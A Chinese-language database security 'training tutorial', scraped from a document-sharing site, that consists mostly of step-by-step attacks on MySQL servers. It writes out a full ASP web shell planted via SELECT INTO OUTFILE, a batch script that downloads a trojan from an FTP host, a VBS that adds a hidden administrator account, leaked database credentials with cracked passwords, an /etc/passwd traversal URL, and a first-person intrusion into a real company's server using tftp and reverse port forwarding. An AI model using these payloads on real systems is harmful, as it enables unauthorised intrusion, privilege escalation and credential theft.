数据库安全教材_第1页
数据库安全教材_第2页
数据库安全教材_第3页
数据库安全教材_第4页
数据库安全教材_第5页
已阅读5页,还剩49页未读 继续免费阅读

下载本文档

版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领

文档简介

数据库安全培训教程(教程编写:王亮)TOC\o"1-3"\h\z一、数据库简介 21.1数据库技术发展概况 21.2数据库基本概念 21.3数据库应用系统结构 21.4SQL语言简介 3二、MySQL数据库漏洞及利用 52.1MySql的常用命令及工具 52.1.1Mysql常用命令 52.1.2Mysql常用工具 62.1.3图形化界面的mysql工具 72.2Mysql的常见攻击手段 82.2.1利用MYSQL漏洞修改数据库 82.2.2巧妙利用Mysql漏洞获取主机控制权限 82.2.3针对WINDOWS系统的MYSQL特殊攻击 142.2.4巧妙通过搜索引挚获取数据库密码 142.2.5MYSQL的安全配置 202.3案例分析:收获的日子 20三、MSSQL的常见攻击手法和安全防范 303.1MSSQL数据库基础知识 303.2MSSQL数据库的常见攻击手法 353.2.1MSSQL的常用黑客工具 353.2.2MSSQL口令的算法脆弱性 373.2.3MSSQL的脚本插入漏洞 403.2.3MSSQL扩展存储的安全问题 443.2.4MSSQL的安全配置 46四.ORACLE数据漏洞及利用 484.1连接Oracle数据库的工具,及常用的命令 494.2Oracle的默认口令与密码 524.3Oracle漏洞扫描工具 53一、数据库简介1.1数据库技术发展概况数据库技术是计算机科学技术中发展最快的重要分支之一,它已经成为计算机信息系统和应用系统的重要技术支柱。在短短的30多年里,它从第一代的网状、层次数据库技术和第二代的关系数据库技术,发展到第三代的面向新一代应用的数据库技术。1.2数据库基本概念数据库是指有组织的、动态地存储在辅助存储器上,能为多个用户共享的、与应用程序彼此独立的一组相互关联的数据集合。它是由DBMS(数据库管理系统)统一管理,多用户共享。数据库管理系统DBMS是一种对数据库进行统一管理和控制的系统软件。它是为建立、使用和维护数据库而设计的数据管理软件。目前比较流行的有如:MySql,Oracle、SQLServer、等目前流行的数据库系统中应用最为普遍的是关系数据库,它也是最有效率的数据组织方式之一。在关系数据库里,所有数据都按表进行组织和管理。关系数据库里,表容纳着对个人或对企业至关重要的数据。每张表都由列和行组成,每一列表示有关表格描述对象的一个属性;每一行数据则表示信息描述对象某一个具体实例的所有属性。在关系数据库中一般使用“事务”来处理用户提交的修改表格和数据的操作。“事务”是一次性完成的一组数据库操作。事务中的操作可以互相独立的,但事务中规定:事务中的所有操作要么全部执行成功,要么全部不执行。关系数据库一般都按照先写日志的方法进行事务操作,即在实施事务之前先将要进行的操作记录进日志,再进行实际的数据库修改。1.3数据库应用系统结构下面是一个典型的数据库应用系统结构:操作系操作系统DBMS数据库应用程序系统据索引,统计数据对数据库进行管理、操作执行物理文件的读写操作我们再来看看一个基于数据库的Web服务器典型应用:文本和其他多媒体信息保存在数据库中;客户端请求服务器执行一个CGI程序或Script语言码。HTTPHTTP请求(表单)服务器端数据库HTTP回应(数据库数据)SQLODBCSQL客户端那么什么是SQL语言,如何利用SQL操作数据库呢?1.4SQL语言简介SQL(StructuredQueryLanguage,结构化查询语言)最早源于IBM,由ANSI(美国国家标准局)确认的关系型数据库语言的标准。是对关系型数据库中的数据进行定义、修改、控制及查询的语言标准。SQL语言的功能包括查询(Query)、操作(Manupulation)、定义(Definition)和控制(Control)4个方面。SQL语言即可以作为独立的语言供终端客户联机使用,也可以作为宿主型语言嵌入到其它高级程序语言中使用。SQL语言包含4个部分:

数据查询语言DQL-DataQueryLanguageSELECT

数据操纵语言DQL-DataManipulationLanguageINSERT,UPDATE,DELETE

数据定义语言DQL-DataDefinitionLanguageCREATE,ALTER,DROP

数据控制语言DQL-DataControlLanguageCOMMITWORK,ROLLBACKWORK以下是常用语句的使用语法:1)用SELECT语句从表中提取查询数据。语法为

SELECT[DISTINCT]{column1,column2,…}FROMtablenameWHERE{conditions}GROUPBY{conditions}ORDERBY{expressions}[ASC/DESC];说明:SELECT子句用于指定检索数据库的中哪些列,FROM子句用于指定从哪一个表或视图中检索数据。2)SELECT中的操作符及多表查询WHERE子句。(LIKE,IS,…)WHERE子句中的条件可以是一个包含等号或不等号的条件表达式,也可以是一个含有IN、NOTIN、BETWEEN、LIKE、ISNOTNULL等比较运算符的条件式,还可以是由单一的条件表达通过逻辑运算符组合成复合条件。3)ORDERBY子句ORDERBY子句使得SQL在显示查询结果时将各返回行按顺序排列,返回行的排列顺序由ORDERBY子句指定的表达式的值确定。4)UPDATEtablenameSET{column1=expression1,column2=expression2,…}WHERE{conditions};例如:SQL>UPDATEEMPSETJOB=’MANAGER’WHEREENAME=’MAPTIN’;SQL>SELECT*FROMEMP;UPDATE子句指明了要修改的数据库是EMP,并用WHERE子句限制了只对名字(ENAME)为’MARTIN’的职工的数据进行修改,SET子句则说明修改的方式,即把’MARTION’的工作名称(JOB)改为’MARAGER’.5)INSERTINTOtablename{column1,column2,…}VALUES{expression1,expression2,…};例如:SQL>SELECTINTODEPT(DNAME,DEPTNO)VALUES(‘ACCOUNTING’,10)

6)DELETEFROMtablenameWHERE{conditions};例如:SQL>DELETEFROMEMPWHEREEMPNO=7654;DELETE命令删除一条记录,而且DELETE命令只能删除整行,而不能删除某行中的部分数据.下面我们将介绍几种主流的数据系统(如:MySql,MSSQL,Oracle)的安全隐患漏洞,及其利用方法:二、MySQL数据库漏洞及利用MySQL是一个广受人们喜爱的半商业的小型数据库。由于其价格低,在一般中小型网站中使用很广。MySQL可以运行在大多数的Linux平台,及Windows环境下。2.1MySql的常用命令及工具2.1.1Mysql常用命令Mysql服务默认端口是TCP3306。我们可以使用mysql的客户端去连接,以下命令都是我们在利用Mysql漏洞所需要掌握的:1)获取所有的用户名与密码:输入select*frommysql.user;就可以获取用户名列表与密码;2)获取所有的数据名:输入showdatabases;可以获取所有数据库名;其中mysql和test是默认的两个数据库名。3)获取指定数据库名中的所有内容Mysql>usedatabase(上面获取的具体的数据库名);Mysql>showtables;(获取此数据库中所有的表名)Mysql>select*fromtable;(根据上一步获取的表名,显示指定表中所有的信息)4)显示数据表的结构:

describe

表名;5)建库:

create

database

库名;

6)建表:

use

库名;

create

table

表名

(字段设定列表);

7)删库和删表:

drop

database

库名;

drop

table

表名;

8)将表中记录清空:

delete

from

表名;9)插入字段

insert

into

表名values具体的值;2.1.2Mysql常用工具1.远程连接Mysql工具使用不需要安装的mysql-clientmysql-h202.120.64.xxx-uroot–proot其中–u是用户名,-p是密码(为空时就不用),-P是指定端口(默认3306,就不用设置)如果登陆成功,就会返回Mysql>2.破解mysql密码工具使用工具mysqlfast,当我们登陆mysql后,可以轻松获取其加密的密码值如:Mysql>select*frommysql.user;我们利用mysqlfast,能够很快的本地破解出其密码,如:2.1.3图形化界面的mysql工具supermysql-v1.6是一个window下的图形化界面的Mysql信息获取工具。它使用较为方便,当我们想经常从mysql获取信息的话,这是一个不错的工具。如下图:2.2Mysql的常见攻击手段mysql默认安装下的root口令为空,虽然有部分管理员更改了root密码但还是有相当部分的mysql口令是弱口令。我们就利用这个安全隐患,针对不同的操作系统进行模拟攻击。2.2.1利用MYSQL漏洞修改数据库2.2.2巧妙利用Mysql漏洞获取主机控制权限思路:

由于很多主机都是脚本前台,接受外部的数据提交,后台是数据库,数据库处理提交的数据并向脚本输出结果。我们可以利用mysql默认安装的root口令为空,登陆mysql,写一个webshell脚本到web目录,这样我们访问这个脚本就可以获取其系统权限了。正文:66只开放80,3306两个端口。利用软件扫描得知仅存在一个mysql的root账号密码为空的漏洞和/scripts/,/_vti_bin/两个虚拟目录,现在进行一次入侵实验:打开cmd,输入以下命令(如图1):(图1)现在在上它的主页看看(如图2):(图2)结果失败了,这是为什么呢?注意看以上的出错信息吧,原来这个scripts虚拟目录没有开设访问权限!不过还有个vti_bin虚拟目录可以试,经过测试,发现(图3)/_vti_bin/这个虚拟目录是有读取权限的(如图3),顺便再看看66/_vti_bin/adfad.dll的返回结果,返回为500错误!OK,现在分析得到这个/_vti_bin/目录有访问权限和执行权限。现在重新用mysql生成文件吧。因为/_vti_bin/在IIS上默认的物理路径是C:\ProgramFiles\CommonFiles\MicrosoftShared\WebServerExtensions\40\isapi\,所以应该这样写sql脚本:usetest;createtableaaaa(cmdTEXT);insertintoaaaavalues('hehe!hacker!!!!');select*fromaaaaintooutfile'C:\\ProgramFiles\\CommonFiles\\MicrosoftShared\\WebServerExtensions\\40\\isapi\\aaa.htm';droptableaaaa;现在网站上就有了这样一个页面(如图4):(图4)这就是刚才sql创建的一个htm文件,实际上可以创建任何文件。下面我们就套用上面的方法创建一个aaa.asp吧,用aaa.asp来拿系统权限:过程如下:mysql-h66-uroot>xhacker.sql先连进去吧!usetest;createtableaaa(cmdTEXT);insertintoaaavalues('<%@Language=VBScript%>');insertintoaaavalues('<%');insertintoaaavalues('DimoScript');insertintoaaavalues('DimoScriptNet');insertintoaaavalues('DimoFileSys,oFile');insertintoaaavalues('DimszCMD,szTempFile');insertintoaaavalues('OnErrorResumeNext');insertintoaaavalues('SetoScript=Server.CreateObject("WSCRIPT.SHELL")');insertintoaaavalues('SetoScriptNet=Server.CreateObject("WSCRIPT.NETWORK")');insertintoaaavalues('SetoFileSys=Server.CreateObject("Scripting.FileSystemObject")');insertintoaaavalues('szCMD=Request.Form(".CMD")');insertintoaaavalues('If(szCMD<>"")Then');insertintoaaavalues('szTempFile="C:\"&oFileSys.GetTempName()');insertintoaaavalues('CalloScript.Run("cmd.exe/c"&szCMD&">"&szTempFile,0,True)');insertintoaaavalues('SetoFile=oFileSys.OpenTextFile(szTempFile,1,False,0)');insertintoaaavalues('EndIf');insertintoaaavalues('%>');insertintoaaavalues('<HTML>');insertintoaaavalues('<BODY>');insertintoaaavalues('<FORMaction="<%=Request.ServerVariables("URL")%>"method="POST">');insertintoaaavalues('<inputtype=textname=".CMD"size=45value="<%=szCMD%>">');insertintoaaavalues('<inputtype=submitvalue="Run">');insertintoaaavalues('</FORM>');insertintoaaavalues('<PRE>');insertintoaaavalues('<%');insertintoaaavalues('If(IsObject(oFile))Then');insertintoaaavalues('OnErrorResumeNext');insertintoaaavalues('Response.WriteServer.HTMLEncode(oFile.ReadAll)');insertintoaaavalues('oFile.Close');insertintoaaavalues('CalloFileSys.DeleteFile(szTempFile,True)');insertintoaaavalues('EndIf');insertintoaaavalues('%>');insertintoaaavalues('</BODY>');insertintoaaavalues('</HTML>');select*fromaaaintooutfile'C:\\ProgramFiles\\CommonFiles\\MicrosoftShared\\WebServerExtensions\\40\\isapi\\aaa.asp';droptableaaa;然后把以上的内容直接粘贴到cmd窗口里,最后按ctrl+c。现在看一下刚才创造出的成果吧(如图5):(图5)现在利用这个aaa.asp可以执行任意的系统命令的了!现在这个shell能做的就是通过IUSR_machinename账号浏览相应权限目录和文件,还可以查看所有文件的内容以及复制,移动目录和执行程序。这些功能虽然远没有上面那个失败了的cmd.asp木马功能强大,但也是可以间接地执行系统命令的。现在的思路非常清楚,由于刚才可以查看c:\下的内容,所以能确定c:\的ACL至少是everyone:R(当然实际上很可能是everyone:F)。到这里我的入侵思路已经完整了,请看下面过程:mysql–hx.x.x.x-uroot>xhacker.sqlusetest;createtableaaa(cmdTEXT);insertintoaaavalues('ftp');insertintoaaavalues('guest');insertintoaaavalues('111');insertintoaaavalues('bin');insertintoaaavalues('lcdc:\inetpub\scripts');insertintoaaavalues('getaaa.exe');insertintoaaavalues('bye');select*fromaaaintooutfile'C:\\winnt\temp.bat';droptableaaa;注意,这里的aaa.exe是在ftp空间预先放好的一个木马,运行后会开一个64443端口:然后再回到http://x.x.x.x/_vti_bin/aaa.asp,在OK按钮上面那个输入框输入:c:\winnt\temp.bat,OK,等一会儿,浏览c:\inetpub\scripts发现,果然多了一个aaa.exe再用guest.asp执行c:\inetpub\scripts\aaa.exe。执行成功后就telnet6664443,最后再利用kernel本地溢出获得一个系统级权限的shell。2.2.3针对WINDOWS系统的MYSQL特殊攻击步骤:首先登陆mysql–hip-urootinsertintoavalues("setwshshell=createobject(""wscript.shell"")");

insertintoavalues("a=wshshell.run(""cmd.exe/cnetuserxhackerlionbaby/add"",0)");

insertintoavalues("b=wshshell.run(""cmd.exe/cnetlocalgroupAdministratorsxhacker/add"",0)");select*fromaintooutfile"C:\\WINNT\\a.vbs";这个vbs是用来创建一个admin权限的账号xhacker,把它导出到“开始”菜单中的启动组里,只要系统一重启,就会自动运行这个vbs,并且运行时不会显示cmd窗口。(值得注意的是需要支持中文目录的mysql客户端)。2.2.4巧妙通过搜索引挚获取数据库密码[数据库敏感信息文件]

在PHP中,include()和require()主要是为了支持代码库,因为我们一般是把一些经常使用的函数放到一个独立的文件中,这个独立的文件就是代码库,当需要使用其中的函数时,我们只要把这个代码库包含到当前的文件中就可以了。

最初,人们开发和发布PHP程序的时候,为了区别代码库和主程序代码,一般是为代码库文件设置一个“.inc”的扩展名,但是他们很快发现这是一个错误,因为这样的文件无法被PHP解释器正确解析为PHP代码。如果我们直接请求服务器上的这种文件时,我们就会得到该文件的源代码,PHP解释器是根据文件的扩展名来决定是否解析为PHP代码的。扩展名是站点管理员指定的,一般是“.php”,“.php3”和“.phtml”。如果重要的配置数据被包含在没有合适的扩展名的PHP文件中,那么远程攻击者很容易得到这些信息。有些人往往都把数据库的连接信息单独放到一个文件中,文件命名为connect.inc/config.inc/db_connect.inc等等吧,有个叫CHINA的网站(大家都知道吧)就曾经这样,可能是因为以前大家都不注意这,你会说现在谁这么笨,我可以告诉你现在也有大的网站这样,而且比那个china影响力也更大!!!

[查找这个文件]

这个包含数据库信息的文件一般要放到inc/include等等一类的目录下,作为一名管理员OR程序员当然不希望这被一个攻击者看到,于是修改为一个难以猜到的目录名或者文件名,以防止被别人很容易猜到。但是程序员要让自己的代码有可读性一般都使用几个常见的名字去命名,这样的话,可以写一个穷举的程序去进行“破解”,没准就能碰上几个。这是最笨的方法了,现在来说一般成功率是很小的,特别相对于大的站点来说。我曾经随便试过几个,没有1次成功

所以我介绍一种使用搜索引擎来查找这个文件的方法,来快速查找这个文件。在介绍搜索引擎的使用之前,先介绍以下一个问题:

PHP在运行出错的情况下一般都会出现错误的提示,这个错误提示会提供相关的信息,这个提示的相关信息很可能就会让攻击者有机可乘。比如访问http://host/index.php出现如下错误:

MySQLConnectionFailed:in/home/http/htdocs/inc/connect123.inconline3

这已经暴露了物理路径,多么难猜的名字也没用了,

http://host/inc/connect123.inc也许就存放着敏感信息。

当一个攻击者访问这个页面的时候,正好赶上有这个出错的页面,那算的上是幸运的,如果是大的网站出错那就更不用说了,一般大的网站反应很快,大多数却是不幸运的。但是只要是出现过这个页面就是不安全的,特别是因为有搜索引擎。如果搜索引擎的spider正好访问这个出错页面,那么不幸的是这个页面很可能就被搜索引擎收录了,这样的话任何人都能通过搜索出错页面中的出错信息关键字(关键字相当重要)就能找到这个出错的页面了,拥有这种功能的我认为是是做的“最好”的--百度快照,baidu的客户包括Sina,Sohu,T,263在线,21CN,上海热线,广州视窗等(我不是baidu的托),这也是我喜欢用baidu的原因,google的网页快照不好用,其他的搜索引擎没用过。

[后记]

各种平台都有这样的问题,至于能不能搜索到感兴趣的页面那是使用搜索引擎的能力了,另外也许攻击者虽然得到了相应的数据也许还是不能更进一步的入侵,但是这已经不是我们本次讨论的问题了。也没有什么比较新的东西,没什么高深的东西,只是提供了另一种查找漏洞的途径,之所以把这么一个简单的问题拿来说以下,是因为我发现不只一个大的网站存在(存在过)这种问题,中小型网站存在这个问题的是太多了!攻击例子:/db_connect.inc泄露了以下代码:<?mysql_connect("localhost","woocha","blade");//这里有用户和密码mysql_select_db("woocha");$CATEGORY['auction']=355903;$CATEGORY['mall']=313350;$CATEGORY['photo']=355904;$TYPE['mall']=3;$TYPE['auction']=1;$TYPE['photo']=2;echomysql_error();$USER=mysql_fetch_array(@mysql_query("select*fromuserswhereusername='$USERID'"));echomysql_error();//returnsafloatwithunixtime+microsecondsfunctionLogEvent($userid,$siteid,$event){mysql_query("insertintologsetusername='$userid',site_id=".(int)$siteid.",event='".addslashes($event)."'");echomysql_error();}functionLongCatToCat($longcat){$cat=explode("/",$longcat);returnstr_replace("_","",$cat[count($cat)-1]);}functionFixURL($url){if(substr($url,0,7)!="http://"){$url="http://$url";}if(substr_count($url,"/")==2){$url.="/";}return$url;}functionConsumeCredit($user,$amount,$reason){$query="updateuserssetcredit=credit-".(float)$amount."whereusername='$user'"; mysql_query($query); LogEvent($user,0,"$".sprintf("%.2f",$amount)."creditconsumed.Reason:$reason");}functionCreateSite($userid,$categoryid,$title,$description,$url,$keyword,$type=0,$siteid=-1){$setstring="username='$userid',title='".addslashes($title)."', description='".addslashes($description)."',url='$url',dirid=$categoryid,type=".(int)$type;if($siteid>0) { $query="updatesitesset$setstringwhereid=$siteid"; mysql_query("deleteformkeywordswheresite_id=$siteid"); } else { $query="insertintositesset$setstring"; } mysql_query($query); //echomysql_error(); if($siteid>0){$id=$siteid;}else{ $id=mysql_result(mysql_query("selectlast_insert_id()"),0); if(strlen($keyword)>3){ mysql_query("insertintokeywordssetkeyword='".addslashes($keyword)."',site_id=$id,cost=0");} } return$id;}functionDeleteSite($id){mysql_query("deletefromsiteswhereid=$id");mysql_query("deletefromkeywordswheresite_id=$id");}//Colors$accentcolor="eeeeee";$accentcolor2="bbbbbb";?>…………接下来:D:\mysql\mysql>mysql-h4-uwoocha-pEnterpassword:*****WelcometotheMySQLmonitor.Commandsendwith;or\g.YourMySQLconnectionidis904253toserverversion:3.23.41Type'help'forhelp.mysql>select*frommysql.user;如下图:

随便选了两个用户的hash密码值sqladmint|6755fce37aca6545|admin|43e9a4ab75570f5b|很快都破解出来了:利用sqladmint(密码为013579)登录看看:已经成功了!接下来我们尝试读他的passwd密码档看看:/subcat.php?cat=../../../../../../../../../../../../../../../../../etc/passwd%00通过输入一个错误的url参数,我们虽然没有读到passwd文件,但已经得到了主页的WEB物理路径:/home/woocha//subcat.php得到了web物理路径就可以尝试得shell了,接下来的事就不多介绍了,上面已经给大家介绍了一些比较好的获得shell的方法,请大家自行尝试。2.2.5MYSQL的安全配置了解odbc的人都知道,还可以这样进:mysql–hip不管你的root密码改的多复杂,别人仍然可以这样进入你的数据库,查看你的表删除你的表。防范的方法是以root权限进入sql,执行以下一句:改一下root的密码:grantselect,insert,update,deleteon*.*toroot@”%”identifiedby“q3344521bad”;ODBC需要密码:grantselect,insert,update,deleteon*.*toODBC@”%”identifiedby“q3344521bad”;2.3案例分析:收获的日子(感谢我的网友eyas友情提供《收获的日子》)某天晚上在IRC的时候,一个老朋友说帮他看看他的新主页的安全性,然后给出URL是,我一看觉得挺眼熟的,公司里面的CEO,人事部经理,网管我都认识的,前段时间还差点去了那里做网管呢,呵呵,那就看看他们的服务器做的如何吧。随后用nmap扫描了一下,发现开的端口挺多的,看来没有安装防火墙或做TCP/IP过滤。从IIS版本判断是Windows2000的服务器。IIS没什么好利用的,一看开了3306端口,是mysql的,就用我的mysql客户端尝试连接了一下,root的密码竟然为空,后来就觉得没有多大意思,于是把目标转到,他们的主站,哈哈。Ok!先用nmap扫描一下,扫描结果如下:25/tcpopensmtp53/tcpopendomain80/tcpopenhttp110/tcpopenpop-3389/tcpopenldap1002/tcpopenunknown3306/tcpopenmysql然后从IIS版本判断目标是windows2000服务器。从开放的端口来看,它要么是安装了防火墙,要么是做了TCP/IP过滤,呵呵,比有意思多了。从25和110端口返回的数据来看,他们用的邮件服务器是IMail6.04,没什么可利用的。IIS上面网管做了安全配置,一些默认的CGI漏洞也没有,这也没什么好利用的。只剩下最后一个端口了,习惯性的用我的mysql客户端连接试试:F:cmd>mysql-uroot-hWelcometotheMySQLmonitor.Commandsendwith;org.YourMySQLconnectionidis3038toserverversion:3.23.21-betaType'help;'or'h'forhelp.Type'c'toclearthebuffermysql>呵呵,不好意思,看来网管没有给mysql帐号root设置一个密码,是默认的空密码,那么我们就可以利用这个漏洞来做点什么了。如果是MS-SQL数据库的话就好办啦,直接可以用xp_cmdshell来运行系统命令,但是可惜的是mysql没有类似MS-SQL那样的扩展存储过程。现在我们可以利用这个漏洞来做三件事情:<1>搜索mysql数据库里面的内容,看能不能找出一些有用的敏感信息,我找了一会儿就不想找了,呵呵<2>读取服务器上的任何文件,当然前提是知道文件的物理路径<3>以启动mysql服务用户的权限往服务器上写文件,前提是这个文件要不存在的,就是说不能覆盖文件如果我们知道IIS主目录的物理路径的话,我们就可以往上面写一个ASP上去,然后通过IE来执行系统命令。怎么得到IIS目录的物理路径呢?天知道!没办法,猜吧。。。。。。先在mysql默认数据库test中建一个表tmp,这个表只有一个字段str,类型为TEXT,mysql>usetest;createtabletmp(strTEXT);DatabasechangedQueryOK,0rowsaffected(0.05sec)然后凭着自己做网管的直觉,开始猜测IIS主目录的物理路径,c:inetpubwwwroot,c:www,c:wwwroot,c:inetpubweb,d:web,d:wwwroot,都不对,55555。大概猜测到第10次,我的mysql客户端回显信息如下:mysql>loaddatainfile"d:wwwgbaboutabout.htm"intotabletmp;QueryOK,235rowsaffected(0.05sec)Records:235Deleted:0Skipped:0Warnings:0哈哈哈,猜中了,IIS主目录的物理路径是d:www,因为上面的文件的虚拟路径是/gb/about/about.htm,看来我得到一个shell了,呵呵。接下来我们就可以往d:wwwgbabout里面写一个ASP文件进去,然后通过/gb/about/cmd.asp来执行系统命令了。然后在网上找来一个现成的cmd.asp,懒的自己去写了:)。Cmd.asp如下:cmd.asp<%DimoScriptDimoScriptNetDimoFileSys,oFileDimszCMD,szTempFileOnErrorResumeNextSetoScript=Server.CreateObject(""WSCRIPT.SHELL"")SetoScriptNet=Server.CreateObject(""WSCRIPT.NETWORK"")SetoFileSys=Server.CreateObject(""Scripting.FileSystemObject"")szCMD=Request.Form("".CMD"")If(szCMD<>"""")ThenszTempFile=""C:"&oFileSys.GetTempName()CalloScript.Run(""cmd.exe/c""&szCMD&"">""&szTempFile,0,True)SetoFile=oFileSys.OpenTextFile(szTempFile,1,False,0)EndIf%><HTML><BODY><FORMaction=""<%=Request.ServerVariables(""URL"")%>""method=""POST""><inputtype=textname="".CMD""size=45value=""<%=szCMD%>""><inputtype=submitvalue=""Run""></FORM><PRE><%If(IsObject(oFile))ThenOnErrorResumeNextResponse.WriteServer.HTMLEncode(oFile.ReadAll)oFile.CloseCalloFileSys.DeleteFile(szTempFile,True)EndIf%></BODY></HTML>endofcmd.asp由于往mysql数据库中插入数据的时候,会过滤特殊字符什么的,例如双引号之类的,特别麻烦。各位留意没有,上面的ASP语句中,都是两个双引号一起的,这样才能写进去,原来是一个双引号的。然后我在数据库中再建一个表:mysql>usetest;createtablecmd(strTEXT);DatabasechangedQueryOK,0rowsaffected(0.05sec)然后用如下语句,一句一句把上面的ASP写进去:mysql>insertintocmdvalues("一行一行的asp代码,呵呵");为什么不全部一起写进去呢?呵呵,换行后,一会儿导出的文件就会有特殊字符了,asp就不能正常运行了,只能辛苦点一行一行写了。然后把asp文件导到服务器上:mysql>select*fromcmdintooutfile“d:wwwgbaboucmd.asp”;然后把我们刚才建的表都删除掉:mysql>usetest;droptabletmp;droptablecmd;ok!我们得到一个shell了,虽然权限不高,但毕竟已经向取得admin权限迈出一大步了,不是吗,呵呵。做这个asp文件可花了我不少时间哦。现在我们利用这个shell来收集系统信息,尝试取得admin权限。<1>先看一下系统文件权限设置如何:c:Everyone:(OI)(CI)Fd:xxxxxx:(OI)(CI)(DENY)(特殊访问:)DELETEREAD_CONTROLWRITE_DACWRITE_OWNERSTANDARD_RIGHTS_REQUIREDFILE_READ_DATAFILE_WRITE_DATAFILE_APPEND_DATAFILE_READ_EAFILE_WRITE_EAFILE_EXECUTEFILE_DELETE_CHILDFILE_READ_ATTRIBUTESFILE_WRITE_ATTRIBUTESEveryone:(OI)(CI)F看来我们现在就可以读写硬盘上的任何文件了,现在就可以改他的首页了,但这样做没意思,对不对,我们的目标是取得admin权限,呵呵。<2>然后搜索一下硬盘上都有些什么文件,c:ProgramFiles的目录下有两个比较有意思的文件,2000-12-1913:10<DIR>Serv-U2001-01-2022:43<DIR>绿色警戒把Serv-U里面的用户和密码读出来看看后,没有什么用处,然后进入绿色警戒目录看看,呵呵,除了log外,什么都没有,呵呵。<3>再看看都有哪些用户,GuestIUSR_SERVER_1IUSR_SERVER-2IWAM_SERVER_1IWAM_SERVER-2ceo[他们CEO的帐号J]TsInternetUserxxx管理员有ceo和targetDomainAdmins,看来这台机器是他们域中的一台服务器。开始本来想给ceo下一个套,在他的启动目录里放一个程序,但后来看到这个帐号已经几个月没登陆了,就放弃了。<4>看看启动了那些服务,这几个比较有意思,看来都是默认的。TaskSchedulerSimpleMailTransportProtocol(SMTP)TaskScheduler<5>看看网络状况,这几个比较有意思TCP:21:0LISTENINGTCP:119:0LISTENINGTCP:3389:0LISTENING看来有TermService,不过在网卡上做了TCP/IP过滤,只对内网开放,那么我们就来<6>看看网卡设置信息Ethernetadapter本地连接:Connection-specificDNSSuffix.:Description...........:RealtekRTL8139(A)PCIFastEthernetAdapterPhysicalAddress.........:00-E0-4C-68-C4-B2DHCPEnabled...........:NoIPAddress............:SubnetMask...........:DefaultGateway.........:DNSServers...........:xxxEthernetadapter本地连接2:Connection-specificDNSSuffix.:Description...........:RealtekRTL8139(A)PCIFastEthernetAdapter#2PhysicalAddress.........:00-E0-4C-68-B8-FCDHCPEnabled...........:NoIPAddress............:xxxSubnetMask...........:xxxDefaultGateway.........:xxx经过上面的一些步骤,对这台服务器的设置情况就有了一个大概的了解。如何取得admin权限?netdde?pipeupadmin?呵呵,无法利用,没有可利用的可以登陆的用户。下套?等到什么时候,呵呵。Okok!让我们来看看这个系统都打了些什么补丁。怎么查看?呵呵,打了补丁后,信息都会存贮在注册表中,查询注册表中的这个键值就行了:"HKLMSoftwareMicrosoftWindowsNTCurrentVersionhotfix",这样的话,我们得上传一个reg.exe[M$ResourceKit中的命令行注册表编辑器]到服务器里面,我们才能操作他的注册表。开始我想用先写一个ftp脚本,然后ftp–s:cmd.txt让他到我的服务器来下载,但结果失败了,后来才想起他做了TCP/IP过滤,5555,我记性真不好。怎么办呢?有办法,用tftp来传输。我先在我的服务器上安装了一个CiscoTFTPServer,然后在目标机器上运行tftp–IGETreg.exe,呵呵,传输过去咯。然后运行REGQUERY"HKLMSoftwareMicrosoftWindowsNTCurrentVersionhotfix"返回数据如下:Listingof[SoftwareMicrosoftWindowsNTCurrentVersionhotfix][Q147222]==>这个不知道是什么东西,好象默认2k机器上都有[Q269862]==>Q269862_W2K_SP2_x86_CN.EXE==>MicrosoftIISUnicode解码目录遍历漏洞![Q277873]==>Q277873_W2K_sp2_x86_CN.EXE==>MicrosoftIISCGI文件名检查漏洞!呵呵,==>和后面的说明是我加上去的,不是注册表中的。看来管理员不太勤快啊,只打了两个补丁。哈哈!到了这一步,大家想到怎么取得admin权限了吗?呵呵,你一定也想到了,他的机器开了TermService服务,但windows2000登陆验证可被绕过的漏洞没有安装补丁,此补丁为Q270676_W2K_SP2_x86_CN.EXE。由此看来,管理员只是删除了帮助法文件,而没有打补丁。用dirc:winnthelpwin*验证一下,果然没有熟悉的输入法帮助文件。敌人没有输入法,我们帮他造,hoho~~别忘了我们可以往任何地方写文件哦。嘻嘻,咱们也别高兴的太早了,别忘了他的机器做了TCP/IP过滤哦,我们是没有办法连接到他的3389端口的。不要着急,不要着急,让我们先来看看他的TCP/IP过滤的设置情况。怎么看呢?老办法,查看注册表里面的键值啦。用刚才的reg.exe查询<1>regQUERY"HKLMSystemCurrentControlSetServicesTcpipParametersInterfaces"Listingof[SystemCurrentControlSetServicesTcpipParametersInterfaces][{4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}][{612A3142-DB85-4D4E-8028-81A9EB4D6A51}]<2>regQUERY"HKLMSystemCurrentControlSetServicesTcpipParametersInterfaces{4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}"Listingof[SystemCurrentControlSetServicesTcpipParametersInterfaces{4B41CFFB-4A20-42F8-9087-A89FE71FD8F4}]MULTI_SZIPAddressxxx;MULTI_SZTCPAllowedPorts25;53;80;110;3306;MULTI_SZUDPAllowedPorts0;MULTI_SZRawIPAllowedProtocols0;<3>regQUERY"HKLMSystemCurrentControlSetServicesTcpipParametersInterfaces{612A3142-DB85-4D4E-8028-81A9EB4D6A51}"Listingof[SystemCurrentControlSetServicesTcpipParametersInterfaces{612A3142-DB85-4D4E-8028-81A9EB4D6A51}]MULTI_SZIPAddress;MULTI_SZTCPAllowedPorts0;MULTI_SZUDPAllowedPorts0;MULTI_SZRawIPAllowedProtocols0;篇幅关系,我过滤了一些输出。第二次查询的是外网网卡,我们可以得知只开放了TCP25,53,80,110,3306,UDP全部,IP协议全部。第三次查询的是内网网卡,没有任何限制。现在我们可以把输入法帮助文件上传到他的c:winnthelp目录下去,然后如果能连接到他的3389端口的话,我们就可以得到admin权限了。问题的关键是外网网卡做了TCP/IP限制。55555,怎么办呢?如何突破?有办法!我们可以利用socket转发和反弹端口技术,照样可以连接到敌人的TermService!具体过程如下:<1>在我的另一台服务器[我称他为AgentMaster]上运行一个程序,监听3389端口[等待我的TermClient去连接],监听11111端口[等待来连接],当然了,第2个端口可以随便选,第1个端口选其他的话,就要相应的修改TermClient,比较麻烦<2>在[我称他为AgentSlave]运行另外一个程序,先连接到:11111,再连接到:3389[敌人服务器内网的IP]<3>我的TermClient连接到:3389,这样,数据通道就全部建立好了。接下来,两个程序就忠实的为我们转发数据了。注意:和可以为同一台服务器,但要保证能connect上你的服务器。也可以换为他内网的任何一个IP。这样,当我用TermClient连接到的时候,其实是连接到。当熟悉的登陆界面出现在我面前,我熟练的调出输入法,取得admin权限,呵呵,心里还有那么一点点成就感!关于<利用socket转发和反弹端口技术突破防火墙进入内网>的详细说明和程序原代码解读请参见我另一篇文章。简要的回顾一下:发现mysql漏洞==>凭直觉猜中II